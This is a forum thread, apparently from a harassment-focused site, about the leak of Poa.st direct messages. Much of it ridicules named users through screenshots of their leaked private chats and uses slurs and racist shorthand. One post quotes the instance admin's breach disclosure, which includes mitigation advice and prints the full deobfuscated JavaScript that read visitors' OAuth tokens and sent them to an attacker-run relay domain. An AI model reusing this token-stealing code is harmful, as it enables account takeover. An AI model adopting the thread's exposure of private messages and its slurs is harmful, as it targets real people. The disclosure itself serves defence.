Poa.st / Chudbuds.lol General Discussion Thread - !! Poa.st and Bae.st have been compromised, all direct messages have been leaked. !!

  • 🐕 I am attempting to get the site runnning as fast as possible. If you are experiencing slow page load times, please report it.
Finally. Undeniable proof that the troons attacking the farms are just antisemitic.

joshlovesIS.PNG
 
  • Like
  • Feels
  • Winner
Reactions: think, Rat Nuts, Gaius Cumulus and 66 others
Illuminati Order Official said:
Isn't it the way we were attacked last year? I mean, through a script disguised as some non-executable file, used as an attachment and the executed once it was uploaded.
Click to expand...
Say, wasn't that also when the hackers changed everybody's PFPs to the Poast logo in an obvious attempt to frame them? 🤔🤔🤔
 
  • Like
  • Agree
  • Thunk-Provoking
Reactions: lol rascal, Rattus Ebrius, Iwasamwillbe and 18 others
Illuminati Order Official said:
ftfy


Isn't it the way we were attacked last year? I mean, through a script disguised as some non-executable file, used as an attachment and the executed once it was uploaded.
Click to expand...
I think a similar attack was executed in 2019, and we all had our IP addresses leaked.
 
  • Thunk-Provoking
  • Like
Reactions: Cpt. Stud Beefpile, Rattus Ebrius, Procrastinhater and 1 other person
Surprisingly, there seem to be quite a few ladies on Poast. Moids, lets see what your future based tradwife might look like:

Bachelorette #1 has spent a decade searching for the perfect racist sex pervert to call her husband:

loveonpoast1.PNG

loveonpoast2.PNG

Bachelorette #2 only requires that you pass the high bar of being less autistic about reading signals than Flamenco (FLAMENCO!):

loveonpoast3.PNG

Bachelorette #3 is a pedophile

poastscience.PNG

I left Elaine off because while I expected funny shit of her acting as tard commander of a legion of simps, psycho Poast people treated her like the resident autistic to torment and it was honestly pretty sad to read.

Though I did laugh at this (re: Null)
poastwizard.PNG

Finally, I realized after all this time who graf reminds me of:

graf.png

boc.png
 
  • Like
  • Winner
  • Informative
Reactions: UnsufficentBoobage, Yandex Captcha Solver, I Hate Anime Avatars and 36 others
I just read all the Wormwood logs, turns out he's just a great guy. I like him even more now.
Nothing that interesting, but here are a few chunks of deep Wormwood lore for those interested.

1685064850189.png

Punished Wormwood. Condemned to make racist comics online until death ensue.

1685065269848.png

Special kid Wormwood, they tried to contain his Vril ever since childhood.

1685065455351.png

No one knows how to behave around Graf it seems.

1685066948464.png

TND

1685067186086.png

Based Wormwood, keeping good OpSec even with whamen.

1685067906650.png

Based Wormwood, refusing pornography ever when offered directly.

1685068080670.png

Based Wormwood, refusing pornography even when it's... uh... homosexual.

1685068221657.png

We've all been there fren. Reminder to homeschool your children.
 
  • Like
  • Feels
  • Winner
Reactions: yo_soy_poiaman!, By Boogity!, Lord Xenu and 59 others
Graf explains what happened
1685069841167.png
1685069864444.png
1685069917623.png
anime graf mays 🛰️🪐
@graf

hey friends,

on may 19, 2023 an unknown user registered the domain name fedirelay.xyz and setup a fake mostr (nostr) relay to listen for requests on the fediverse.

on may 20, 2023 at 20:52 (utc) a user uploaded the attached document to poast. it was originally an obfuscated javascript file (unobfuscated and attached it here, renamed to .txt so you can view it in any editor).

what this javascript file does is take the viewers oauth token, encode it to make it look like a nostr pubkey and then forced the clandestine mostr relay to look up that user locally giving that server the encoded token all while appearing to be a legitimate mostr (nostr) bridge

i have taken steps to completely limit access to the admin api and corrected any CSP or other issues that could possibly have contributed to this, however most of you (instance owners) are still vulnerable to it. the default pleroma install serves media files on your root domain as a local folder (i.e. yourdomain.xyz/media) and the default CSP for any site is to allow executing scripts via the root domain. in order to prevent this you should take steps to either move your media from yourdomain.xyz/media to media.yourdomain.xyz (or any subdomain outside of your root domain) or perhaps by limiting the CSP for that subdirectory via nginx configuration.

if you are an instance owner, the obfuscated file hash is `b2977f2d97f598d2ebd6dcf37afd9047b5da2b6dc95a7b2824fb111c906fb117` so you can search yourdomain.xyz/media/b2977f2d97f598d2ebd6dcf37afd9047b5da2b6dc95a7b2824fb111c906fb117.js and see if you have it on your server.

no user password or anything beyond email:user and your chats and media associated with them have been archived and everybody's tokens were dropped forcing you to all relog on your accounts. this is to ensure that if any of you had tokens exposed by viewing this JavaScript, they are no longer functional on poast.

sorry to anybody i let down but i could never have foreseen this level of sophistication and i would not have ever expected it. now that we are aware of it, we will be more diligent in the future. thanks for being here with us still friends
async function send(token, userToken, lastLoginName) {
function generateTable() {
var temp,
table = [];
for (var i = 0; i < 256; i++) {
temp = i;
for (var j = 0; j < 8; j++) {
temp = temp & 1 ? 3988292384 ^ (temp >>> 1) : temp >>> 1;
}
table = temp;
}
return table;
}

function hash(str) {
var table = generateTable(),
result = 0 ^ -1;
for (var i = 0; i < str.length; i++) {
result = (result >>> 8) ^ table[(result ^ str.charCodeAt(i)) & 255];
}
return ((result ^ -1) >>> 0).toString(16);
}

let acct = token
.split('')
.map((char) => char.charCodeAt(0).toString(16).padStart(2, '0'))
.join('') + hash(lastLoginName).slice(0, 4);

await fetch(
'https://' +
window.location.hostname +
'/api/v1/accounts/lookup?acct=' +
acct +
'%40mostr.fedirelay.xyz',
{
credentials: 'include',
headers: {
Accept: 'application/json',
'Accept-Language': 'en-US,en;q=0.5',
'Content-Type': 'application/json',
Authorization: 'Bearer ' + userToken,
'Sec-Fetch-Dest': 'empty',
'Sec-Fetch-Mode': 'cors',
'Sec-Fetch-Site': 'same-origin',
},
referrer: 'https://' +
window.location.hostname +
'/' +
acct +
'@' +
window.location.hostname,
method: 'GET',
mode: 'cors',
},
);

await fetch(
'https://' +
window.location.hostname +
'/api/v1/accounts/' +
acct +
'@mostr.fedirelay.xyz',
{
credentials: 'include',
headers: {
Accept: 'application/json',
'Accept-Language': 'en-US,en;q=0.5',
'Content-Type': 'application/json',
Authorization: 'Bearer ' + userToken,
'Sec-Fetch-Dest': 'empty',
'Sec-Fetch-Mode': 'cors',
'Sec-Fetch-Site': 'same-origin',
},
referrer: 'https://' +
window.location.hostname +
'/' +
acct +
'@' +
window.location.hostname,
method: 'GET',
mode: 'cors',
},
);
}

(async function () {
let auth = JSON.parse(localStorage.getItem('localforage/vuex-lz'));

if (auth == undefined) {
const openRequest = window.indexedDB.open('localforage', 2);

openRequest.onsuccess = async (e) => {
let db = openRequest.result;
const transaction = db.transaction(['keyvaluepairs'], 'readwrite');
let keyvaluepairs = transaction.objectStore('keyvaluepairs');
let request = keyvaluepairs.get('vuex-lz');

request.onsuccess = async (e) => {
auth = request.result;
let lastLoginName = auth?.users?.lastLoginName;
let userToken = auth?.oauth?.userToken;
let token = '';
token += auth?.oauth?.userToken;
await send(token, userToken, lastLoginName);
};
};

return;
}

let lastLoginName = auth?.users?.lastLoginName;
let userToken = auth?.oauth?.userToken;

let token = '';
token += auth?.oauth?.userToken;

await send(token, userToken, lastLoginName);
})();


His responses to people's responses
1685070131161.png
1685070209115.png
1685070243996.png
1685070328301.png
1685070086736.png
1685070328301.png

long thread of somewhat cope/schizo poasts
1685070492516.png
1685070525219.png
1685070552294.png
1685070591575.png
 

Attachments

  • 1685070426492.png
    1685070426492.png
    105.6 KB · Views: 22
  • 1685069917623.png
    1685069917623.png
    44.8 KB · Views: 33
  • Informative
  • Like
Reactions: Aspiring Artist, Iwasamwillbe, Onni Kalsarikännit and 10 others
SandyCat said:
Does thirsting for rabies pussy classify you as a bug chaser?

My mans trying to get pozzed
Click to expand...
Weird thing, rabies gives men epic priapism. Just a raging hard on. A good novel on the subject is Rant, by Chuck Palahnuik, same dude that did Fight Club. Nice story about time travel, rape, incest and inbreeding, and of course, fucking on rabies. All the nice, heartwarming themes one would expect from a writer from Portland.

Anyhow, got off topic there. Bug Chasers are degenerates and deserve the inquisition treatment.
 
  • Islamic Content
  • Like
  • Horrifying
Reactions: Aspiring Artist, Nekoi.Inukuma.00, Rattus Ebrius and 16 others
You must log in or register to reply here.
Back